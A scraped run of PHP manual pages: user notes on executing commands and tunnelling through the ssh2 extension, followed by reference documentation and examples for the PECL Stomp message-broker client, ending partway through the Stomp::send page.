josh at hydril dot com 12-Jul-2007 04:49
To run a shell script with all the variables that you would have when logged in interactively add bash -l or sh --login infront of your command.  The script I use creates a shell script, copies the script to the box with ssh2_scp_send, then executes the script with ssh2_exec.  Hope this helps somebody.

<?php

//Example

$script1 = "bash -l /etc/rc.d/rc.httpd restart";

$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, $script1);
?>
vgopu1 at gmail dot com 09-Jul-2007 01:17
Hi,

we could also use shell_exec to execute multiple related commands
separated by semicolon (;).

 And I figured out  problem that sometimes arise related to the execution of complex java c/c++ programs. All we need to do is to set the required environment variables. I have a environment variable in .bash_profile. This variable would be set when I log into my account normally through shell. But when we use ssh2_connect(), the environment variables in the .bash_profile are not set, all we need to do is export the required environment variables with shell_exec();

example:

$conn = ssh2_connect($ipaddress);
ssh2_auth_password($conn,$username,$passwd);
$cmd1="/path/to/program1";
$cmd2="/path/to/program2";
$env1="export Variable_name1=path1";
$env2="export Variable_name2=path2"
$stream = ssh2_exec($connection,"$env1; $env2; $cmd1; $cmd2");//this would execute all the //commands and return
// stream
stream_set_blocking($stream, true);
while($o=fgets($stream)){
echo $o.'<br>';
}

...
...

Thanks,
Vikram Gopu .
http:\\my.lsu.edu/vgopu1
johnes at netsite dot com dot br 16-Feb-2007 09:27
Instead of using sleep(1) try using usleep(350000). If not, you will need to spend much time unnecessary. In my scripts, I tried to use usleep(250000), but it's too short and brought some problems. usleep(300000) worked, but only to garantee use 350000. ;)
galvao at galvao dot eti dot br 18-Dec-2006 09:03
In response to webmaster at spectreanime dot com:

"For some obscur reasons, just after ur command, u need to make a sleep to be sure, that the command has reached the server and is running"

Actually what you must do is set the blocking of the string to true, so it waits until the server sends data to the STDOUT before echoing it.

So, instead of:

sleep(1);

Just do:

stream_set_blocking($stdio, true);

Best regards,
webmaster at spectreanime dot com 08-Jun-2005 01:38
// Connection to SSH server
        echo "Connexion SSH ";
        if (!($resource=@ssh2_connect("192.168.0.1"))) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // Authentification by login/passwd
        echo "Authentification ";
        if (!@ssh2_auth_password($resource,"root","your_password")) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // We need a shell
        echo "Shell stdio ";
        if (!($stdio = @ssh2_shell($resource,"xterm"))) {
                echo "[FAILED]<br />";
                exit(1);
        }
        echo "[OK]<br />";

        // Execution of any command
        // Be careful to add an '\n' at the  end of the command
        $command = "/bin/ls /tmp\n";
        fwrite($stdio,$command);

        // IMPORTANT
        // For some obscur reasons, just after ur command, u need to make a sleep to be sure, that the command has reached the server and is running
        sleep(1);

        // Then u can fetch the stream to see what happens on stdio
        while($line = fgets($stdio)) {
                flush();
                echo $line."<br />";
        }

        // It's always cleaner to close all stream
        fclose($stdio);

I truly hope i'll help someone :)
suri at suribala dot com 14-Feb-2005 05:03
Using ssh_exec, one could execute only one command at a time. However, ssh_shell, offers greater flexibility.

Here is an example:

<?php

$con=ssh2_connect('192.168.0.1', 22);
ssh2_auth_password($con, "user", "password");
$shell=ssh2_shell($con, 'xterm');
fwrite( $shell, "cd /dir_one\n");
fwrite( $shell, "ls -la\n");
fwrite( $shell, "cd /dir_two\n");
fwrite( $shell, "ls -la\n");

?>

Thanks Sara for your implementation and your help !
ssh2_sftp
ssh2_tunnel
SSH2 Functions


Open a tunnel through a remote server

ssh2_shell
Stomp
SSH2 Functions
PHP Manual

ssh2_tunnel

(PECL ssh2 >= 0.9.0)

ssh2_tunnel — Open a tunnel through a remote server

Description

resource ssh2_tunnel ( resource $session , string $host , int $port )

Open a socket stream to an arbitrary host/port by way of the currently connected SSH server.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

host

port

Return Values

Examples

Example #1 Opening a tunnel to an arbitrary host

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_pubkey_file($connection, 'username', 'id_dsa.pub', 'id_dsa');

$tunnel = ssh2_tunnel($connection, '10.0.0.101', 12345);
?>

See Also

  • ssh2_connect() - Connect to an SSH server
  • fsockopen() - Open Internet or Unix domain socket connection

User Contributed Notes

tim dot wood at datawranglers dot com 06-Jan-2007 11:06
The tunnel command doesn't seem to support ssh2_auth_password.   For people trying to go from their own computer to a second box and then ssh one to a third box, here's an approach that works for me.  YMMV and IMKYD.

// the relay box
$ip1   = '192.168.1.1';
$user1 = 'usename';
$pswd1 = 'password';

// the destination box
$ip3   = '192.168.1.2';
$user3 = 'usename';
$pswd3 = 'password';

// PART 1
// set up a basic ssh2 connection:

$connection = ssh2_connect($ip1, 22);
ssh2_auth_password($connection, $user1, $pswd1);
$shell = ssh2_shell($connection,"bash");

// PART 2
// Create a basic expect script to handle
// a simple ssh login and then passes the session back to the user

// remove any existing login expect script
$cmd = "rm -f login-via-ssh.expect";
fwrite($shell,$cmd . "\n");
// see discussion with other commands on sleep vs other options
sleep( 1 );

// echo does not like #!/usr/bin/expect ... so gawk it over
$cmd = "echo \"\" | gawk '{ print \"#\" \"!\" \"\/usr\/bin\/expect\" }' > login-via-ssh.expect";
fwrite($shell,$cmd . "\n");
// more bad sleep
sleep( 1 );

// Add in the rest of the expect script
$script = array(
    'spawn ssh -l [lindex \$argv 1] [lindex \$argv 0]',
    'expect \"password:\"',
    'send \"[lindex \$argv 2]\r\"',
    'interact'
);
$append = '>>';
foreach( $script as $line ) {
    $cmd = 'echo "'. $line . '" '.$append.' login-via-ssh.expect' . "\n";
    fwrite($shell,$cmd);
    sleep( 1 );
}

// Make it executable
$cmd = "chmod +x login-via-ssh.expect";
fwrite($shell,$cmd . "\n");
sleep( 1 );

// PART 3
// Get into the other server
// Pass an ip, username, password to the expect script
// The expect script happily logs the php script in.

// put together the command and execute it
$cmd = "./login-via-ssh.expect $ip3 $user3 $pswd3";
fwrite($shell,$cmd . "\n");
// A long bad sleep since ssh takes a while to respond
sleep( 15 );
while( $line = fgets( $shell, 4096 ) ) {
    // flush the buffer
}

// do a test directory listing to show that we really got there
$cmd = "ls -alb /";
fwrite($shell,$cmd . "\n");
sleep( 1 );
while( $line = fgets( $shell, 4096 ) ) {
    print $line;
}

Bingo... the php script is tunneled to the third box.
ssh2_shell
Stomp
SSH2 Functions


Stomp Client

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Examples
  • Stomp Functions
    • stomp_connect_error — Returns a string description of the last connect error
    • stomp_version — Gets the current stomp extension version
  • Stomp — The Stomp class
    • Stomp::abort — Rolls back a transaction in progress
    • Stomp::ack — Acknowledges consumption of a message
    • Stomp::begin — Starts a transaction
    • Stomp::commit — Commits a transaction in progress
    • Stomp::__construct — Opens a connection
    • Stomp::__destruct — Closes stomp connection
    • Stomp::error — Gets the last stomp error
    • Stomp::getReadTimeout — Gets read timeout
    • Stomp::getSessionId — Gets the current stomp session ID
    • Stomp::hasFrame — Indicates whether or not there is a frame ready to read
    • Stomp::readFrame — Reads the next frame
    • Stomp::send — Sends a message
    • Stomp::setReadTimeout — Sets read timeout
    • Stomp::subscribe — Registers to listen to a given destination
    • Stomp::unsubscribe — Removes an existing subscription
  • StompFrame — The StompFrame class
    • StompFrame::__construct — Constructor
  • StompException — The StompException class
    • StompException::getDetails — Get exception details

User Contributed Notes

There are no user contributed notes for this page.
ssh2_tunnel
Introduction
Other Services


Introduction

This extension allows php applications to communicate with any Stomp compliant Message Brokers through easy object oriented and procedural interfaces. » Stomp official site

User Contributed Notes

There are no user contributed notes for this page.
Stomp
Installing/Configuring
Stomp


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Stomp


Requirements

PECL/stomp requires PHP 5.2.2 or newer.

The » OpenSSL package >= 0.9.6 and the openssl extension may also be required to use stomp over SSL.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/stomp

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Stomp Configure Options
Name | Default | Changeable | Changelog
stomp.default_broker | tcp://localhost:61613 | PHP_INI_ALL |
stomp.default_connection_timeout_sec | 2 | PHP_INI_ALL |
stomp.default_connection_timeout_usec | 0 | PHP_INI_ALL |
stomp.default_read_timeout_sec | 2 | PHP_INI_ALL |
stomp.default_read_timeout_usec | 0 | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

stomp.default_broker string

The default broker URI to use when connecting to the message broker if no other URI is specified.

stomp.default_connection_timeout_sec integer

The seconds part of the default connection timeout.

stomp.default_connection_timeout_usec integer

The microseconds part of the default connection timeout.

stomp.default_read_timeout_sec integer

The seconds part of the default reading timeout.

stomp.default_read_timeout_usec integer

The microseconds part of the default reading timeout.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

There is only one resource type used in the stomp extension - it's the link identifier for a stomp connection.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Examples
Installing/Configuring


Examples

Example #1 Object oriented style

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* send a message to the queue 'foo' */
$stomp->send($queue, $msg);

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe($queue);

/* read a frame */
$frame = $stomp->readFrame();

if ($frame->body === $msg) {
    var_dump($frame);

    /* acknowledge that the frame was received */
    $stomp->ack($frame);
}

/* close connection */
unset($stomp);

?>

The above example will output something similar to:

object(StompFrame)#2 (3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["headers"]=>
  array(5) {
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:2:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257226805828"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
  ["body"]=>
  string(3) "bar"
}

Example #2 Procedural style

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, $queue, $msg, array('transaction' => 't1'));

/* commit a transaction */
stomp_commit($link, 't1');

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, $queue);

/* read a frame */
$frame = stomp_read_frame($link);

if ($frame['body'] === $msg) {
    var_dump($frame);

    /* acknowledge that the frame was received */
    stomp_ack($link, $frame['headers']['message-id']);
}

/* close connection */
stomp_close($link);

?>

The above example will output something similar to:

array(3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["body"]=>
  string(3) "bar"
  ["headers"]=>
  array(6) {
    ["transaction"]=>
    string(2) "t1"
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:3:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257227037059"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Stomp Functions
Stomp


Stomp Functions

Table of Contents

  • stomp_connect_error — Returns a string description of the last connect error
  • stomp_version — Gets the current stomp extension version

User Contributed Notes

There are no user contributed notes for this page.
Examples
stomp_connect_error
Stomp


Returns a string description of the last connect error

Stomp Functions
stomp_version
Stomp Functions
PHP Manual

stomp_connect_error

(PECL stomp >= 0.3.0)

stomp_connect_error — Returns a string description of the last connect error

Description

string stomp_connect_error ( void )

Returns a string description of the last connect error.

Parameters

This function has no parameters.

Return Values

A string that describes the error, or NULL if no error occurred.

Examples

Example #1 stomp_connect_error() example

<?php
$link = stomp_connect('http://localhost:61613');

if(!$link) {
    die('Connection failed: ' . stomp_connect_error());
}
?>

The above example will output something similar to:

Connection failed: Invalid Broker URI scheme

User Contributed Notes

There are no user contributed notes for this page.
Stomp Functions
stomp_version
Stomp Functions


Gets the current stomp extension version

stomp_connect_error
Stomp
Stomp Functions
PHP Manual

stomp_version

(PECL stomp >= 0.1.0)

stomp_version — Gets the current stomp extension version

Description

string stomp_version ( void )

Returns a string containing the version of the current stomp extension.

Parameters

This function has no parameters.

Return Values

It returns the current stomp extension version

Examples

Example #1 stomp_version() example

<?php

var_dump(stomp_version());

?>

The above example will output something similar to:

string(5) "0.2.0"

User Contributed Notes

There are no user contributed notes for this page.
stomp_connect_error
Stomp
Stomp Functions


The Stomp class

(No version information available, might only be in SVN)

Introduction

Represents a connection between PHP and a Stomp compliant Message Broker.

Class synopsis

Stomp {
/* Methods */
public bool abort ( string $transaction_id [, array $headers ] )
public bool ack ( mixed $msg [, array $headers ] )
public bool begin ( string $transaction_id [, array $headers ] )
public bool commit ( string $transaction_id [, array $headers ] )
public __construct ([ string $broker = ini_get("stomp.default_broker_uri") [, string $username [, string $password [, array $headers ]]]] )
public bool __destruct ( void )
public string error ( void )
public array getReadTimeout ( void )
public string getSessionId ( void )
public bool hasFrame ( void )
public stompframe readFrame ([ string $class_name = "stompFrame" ] )
public bool send ( string $destination , mixed $msg [, array $headers ] )
public void setReadTimeout ( int $seconds [, int $microseconds ] )
public bool subscribe ( string $destination [, array $headers ] )
public bool unsubscribe ( string $destination [, array $headers ] )
}

Table of Contents

  • Stomp::abort — Rolls back a transaction in progress
  • Stomp::ack — Acknowledges consumption of a message
  • Stomp::begin — Starts a transaction
  • Stomp::commit — Commits a transaction in progress
  • Stomp::__construct — Opens a connection
  • Stomp::__destruct — Closes stomp connection
  • Stomp::error — Gets the last stomp error
  • Stomp::getReadTimeout — Gets read timeout
  • Stomp::getSessionId — Gets the current stomp session ID
  • Stomp::hasFrame — Indicates whether or not there is a frame ready to read
  • Stomp::readFrame — Reads the next frame
  • Stomp::send — Sends a message
  • Stomp::setReadTimeout — Sets read timeout
  • Stomp::subscribe — Registers to listen to a given destination
  • Stomp::unsubscribe — Removes an existing subscription

User Contributed Notes

There are no user contributed notes for this page.
stomp_version
Stomp::abort
Stomp


Rolls back a transaction in progress

Stomp
Stomp::ack
Stomp
PHP Manual

Stomp::abort

stomp_abort

(PECL stomp >= 0.1.0)

Stomp::abort -- stomp_abort — Rolls back a transaction in progress

Description

Object oriented style (method):

public bool Stomp::abort ( string $transaction_id [, array $headers ] )

Procedural style:

bool stomp_abort ( resource $link , string $transaction_id [, array $headers ] )

Rolls back a transaction in progress.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

transaction_id

The transaction to abort.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* begin a transaction */
$stomp->begin('t1');

/* send a message to the queue */
$stomp->send('/queue/foo', 'bar', array('transaction' => 't1'));

/* rollback */
$stomp->abort('t1');

/* close connection */
unset($stomp);
?>

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('tcp://localhost:61613');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, '/queue/foo', 'bar', array('transaction' => 't1'));

/* rollback */
stomp_abort($link, 't1');

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.
Stomp
Stomp::ack
Stomp


Acknowledges consumption of a message

Stomp::abort
Stomp::begin
Stomp
PHP Manual

Stomp::ack

stomp_ack

(PECL stomp >= 0.1.0)

Stomp::ack -- stomp_ack — Acknowledges consumption of a message

Description

Object oriented style (method):

public bool Stomp::ack ( mixed $msg [, array $headers ] )

Procedural style:

bool stomp_ack ( resource $link , mixed $msg [, array $headers ] )

Acknowledges consumption of a message from a subscription using client acknowledgment.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

msg

The message/messageId to be acknowledged.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

Example #1 Object oriented style

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* send a message to the queue 'foo' */
$stomp->send($queue, $msg);

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe($queue);

/* read a frame */
$frame = $stomp->readFrame();

if ($frame->body === $msg) {
    /* acknowledge that the frame was received */
    $stomp->ack($frame);
}

/* remove the subscription */
$stomp->unsubscribe($queue);

/* close connection */
unset($stomp);

?>

Example #2 Procedural style

<?php

$queue  = '/queue/foo';
$msg    = 'bar';

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, $queue, $msg, array('transaction' => 't1'));

/* commit a transaction */
stomp_commit($link, 't1');

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, $queue);

/* read a frame */
$frame = stomp_read_frame($link);

if ($frame['body'] === $msg) {
    /* acknowledge that the frame was received */
    stomp_ack($link, $frame['headers']['message-id']);
}

/* remove the subscription */
stomp_unsubscribe($link, $queue);

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.
Stomp::abort
Stomp::begin
Stomp


Starts a transaction

Stomp::ack
Stomp::commit
Stomp
PHP Manual

Stomp::begin

stomp_begin

(PECL stomp >= 0.1.0)

Stomp::begin -- stomp_begin — Starts a transaction

Description

Object oriented style (method):

public bool Stomp::begin ( string $transaction_id [, array $headers ] )

Procedural style:

bool stomp_begin ( resource $link , string $transaction_id [, array $headers ] )

Starts a transaction.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

transaction_id

The transaction id.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

See stomp_commit() or stomp_abort().

User Contributed Notes

There are no user contributed notes for this page.
Stomp::ack
Stomp::commit
Stomp


Commits a transaction in progress

Stomp::begin
Stomp::__construct
Stomp
PHP Manual

Stomp::commit

stomp_commit

(PECL stomp >= 0.1.0)

Stomp::commit -- stomp_commit — Commits a transaction in progress

Description

Object oriented style (method):

public bool Stomp::commit ( string $transaction_id [, array $headers ] )

Procedural style:

bool stomp_commit ( resource $link , string $transaction_id [, array $headers ] )

Commits a transaction in progress.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

transaction_id

The transaction id.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* begin a transaction */
$stomp->begin('t1');

/* send a message to the queue */
$stomp->send('/queue/foo', 'bar', array('transaction' => 't1'));

/* commit */
$stomp->commit('t1');

/* close connection */
unset($stomp);

?>

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('tcp://localhost:61613');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* begin a transaction */
stomp_begin($link, 't1');

/* send a message to the queue 'foo' */
stomp_send($link, '/queue/foo', 'bar', array('transaction' => 't1'));

/* commit */
stomp_commit($link, 't1');

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.
Stomp::begin
Stomp::__construct
Stomp


Opens a connection

Stomp::commit
Stomp::__destruct
Stomp
PHP Manual

Stomp::__construct

stomp_connect

(PECL stomp >= 0.1.0)

Stomp::__construct -- stomp_connect — Opens a connection

Description

Object oriented style (constructor):

public Stomp::__construct ([ string $broker = ini_get("stomp.default_broker_uri") [, string $username [, string $password [, array $headers ]]]] )

Procedural style:

resource stomp_connect ([ string $broker = ini_get("stomp.default_broker_uri") [, string $username [, string $password [, array $headers ]]]] )

Opens a connection to a stomp compliant Message Broker.

Parameters

broker

The broker URI

username

The username.

password

The password.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

Changelog

Version | Description
1.0.1 | The headers parameter was added

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* close connection */
unset($stomp);

?>

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.
Stomp::commit
Stomp::__destruct
Stomp


Closes stomp connection

Stomp::__construct
Stomp::error
Stomp
PHP Manual

Stomp::__destruct

stomp_close

(PECL stomp >= 0.1.0)

Stomp::__destruct -- stomp_close — Closes stomp connection

Description

Object oriented style (destructor):

public bool Stomp::__destruct ( void )

Procedural style:

bool stomp_close ( resource $link )

Closes a previously opened connection.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

See stomp_connect().

User Contributed Notes

There are no user contributed notes for this page.
Stomp::__construct
Stomp::error
Stomp


Gets the last stomp error

Stomp::__destruct
Stomp::getReadTimeout
Stomp
PHP Manual

Stomp::error

stomp_error

(PECL stomp >= 0.1.0)

Stomp::error -- stomp_error — Gets the last stomp error

Description

Object oriented style (method):

public string Stomp::error ( void )

Procedural style:

string stomp_error ( resource $link )

Gets the last stomp error.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

Return Values

Returns an error string or FALSE if no error occurred.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->error());

if (!$stomp->abort('unknown-transaction', array('receipt' => 'foo'))) {
    var_dump($stomp->error());
}

/* close connection */
unset($stomp);

?>

The above example will output something similar to:

bool(false)
string(43) "Invalid transaction id: unknown-transaction"

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_error($link));

if (!stomp_abort($link, 'unknown-transaction', array('receipt' => 'foo'))) {
    var_dump(stomp_error($link));
}

/* close connection */
stomp_close($link);

?>

The above example will output something similar to:

bool(false)
string(43) "Invalid transaction id: unknown-transaction"

User Contributed Notes

There are no user contributed notes for this page.
Stomp::__destruct
Stomp::getReadTimeout
Stomp


Gets read timeout

Stomp::error
Stomp::getSessionId
Stomp
PHP Manual

Stomp::getReadTimeout

stomp_get_read_timeout

(PECL stomp >= 0.3.0)

Stomp::getReadTimeout -- stomp_get_read_timeout — Gets read timeout

Description

Object oriented style (method):

public array Stomp::getReadTimeout ( void )

Procedural style:

array stomp_get_read_timeout ( resource $link )

Gets read timeout

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

Return Values

Returns an array with 2 elements: sec and usec.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->getReadTimeout());

/* close connection */
unset($stomp);

?>

The above example will output something similar to:

array(2) {
  ["sec"]=>
  int(2)
  ["usec"]=>
  int(0)
}

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_get_read_timeout($link));

/* close connection */
stomp_close($link);

?>

The above example will output something similar to:

array(2) {
  ["sec"]=>
  int(2)
  ["usec"]=>
  int(0)
}

User Contributed Notes

There are no user contributed notes for this page.
Stomp::error
Stomp::getSessionId
Stomp


Gets the current stomp session ID

Stomp::getReadTimeout
Stomp::hasFrame
Stomp
PHP Manual

Stomp::getSessionId

stomp_get_session_id

(PECL stomp >= 0.1.0)

Stomp::getSessionId -- stomp_get_session_id — Gets the current stomp session ID

Description

Object oriented style (method):

public string Stomp::getSessionId ( void )

Procedural style:

string stomp_get_session_id ( resource $link )

Gets the current stomp session ID.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

Return Values

string session id on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

var_dump($stomp->getSessionId());

/* close connection */
unset($stomp);

?>

The above example will output something similar to:

string(35) "ID:php.net-52873-1257291895530-4:14"

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

var_dump(stomp_get_session_id($link));

/* close connection */
stomp_close($link);

?>

The above example will output something similar to:

string(35) "ID:php.net-52873-1257291895530-4:14"

User Contributed Notes

There are no user contributed notes for this page.
Stomp::getReadTimeout
Stomp::hasFrame
Stomp


Indicates whether or not there is a frame ready to read

Stomp::getSessionId
Stomp::readFrame
Stomp
PHP Manual

Stomp::hasFrame

stomp_has_frame

(PECL stomp >= 0.1.0)

Stomp::hasFrame -- stomp_has_frame — Indicates whether or not there is a frame ready to read

Description

Object oriented style (method):

public bool Stomp::hasFrame ( void )

Procedural style:

bool stomp_has_frame ( resource $link )

Indicates whether or not there is a frame ready to read.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

Return Values

Returns TRUE if a frame is ready to read, or FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
Stomp::getSessionId
Stomp::readFrame
Stomp


Reads the next frame

Stomp::hasFrame
Stomp::send
Stomp
PHP Manual

Stomp::readFrame

stomp_read_frame

(PECL stomp >= 0.1.0)

Stomp::readFrame -- stomp_read_frame — Reads the next frame

Description

Object oriented style (method):

public stompframe Stomp::readFrame ([ string $class_name = "stompFrame" ] )

Procedural style:

array stomp_read_frame ( resource $link )

Reads the next frame. It is possible to instantiate an object of a specific class, and pass parameters to that class's constructor.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

class_name

The name of the class to instantiate. If not specified, a stompFrame object is returned.

Return Values

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

Changelog

Version | Description
Stomp 0.4.0 | class_name parameter was added.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

/* subscribe to messages from the queue 'foo' */
$stomp->subscribe('/queue/foo');

/* read a frame */
var_dump($stomp->readFrame());

/* close connection */
unset($stomp);

?>

The above example will output something similar to:

object(StompFrame)#2 (3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["headers"]=>
  array(5) {
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:2:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257226805828"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
  ["body"]=>
  string(3) "bar"
}

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

/* subscribe to messages from the queue 'foo' */
stomp_subscribe($link, '/queue/foo');

/* read a frame */
$frame = stomp_read_frame($link);

/* close connection */
stomp_close($link);

?>

The above example will output something similar to:

array(3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["body"]=>
  string(3) "bar"
  ["headers"]=>
  array(6) {
    ["transaction"]=>
    string(2) "t1"
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:3:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257227037059"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.
Stomp::hasFrame
Stomp::send
Stomp


Sends a message

Stomp::readFrame
Stomp::setReadTimeout
Stomp
PHP Manual

Stomp::send

stomp_send

(PECL stomp >= 0.1.0)

Stomp::send -- stomp_send — Sends a message

Description

Object oriented style (method):

public bool Stomp::send ( string $destination , mixed $msg [, array $headers ] )

Procedural style:

bool stomp_send ( resource $link , string $destination , mixed $msg [, array $headers ] )

Sends a message to the Message Broker.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

destination

Where to send the message

msg

Message to send.

headers

Associative array containing the additional headers (example: receipt).

Return Values

